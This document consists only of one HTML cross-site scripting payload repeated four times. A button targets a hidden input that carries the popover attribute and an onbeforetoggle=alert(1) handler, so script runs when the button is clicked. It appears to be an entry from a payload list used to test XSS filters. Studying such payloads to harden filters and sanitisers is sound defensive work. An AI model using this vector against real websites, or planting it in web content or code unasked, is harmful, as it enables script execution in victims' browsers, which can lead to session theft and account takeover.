<button popovertarget=x>Click me</button> <input type="hidden" value="y" popover id=x onbeforetoggle=alert(1)>2
<button popovertarget=x>Click me</button> <input type="hidden" value="y" popover id=x onbeforetoggle=alert(1)>2
<button popovertarget=x>Click me</button> <input type="hidden" value="y" popover id=x onbeforetoggle=alert(1)>2
<button popovertarget=x>Click me</button> <input type="hidden" value="y" popover id=x onbeforetoggle=alert(1)>2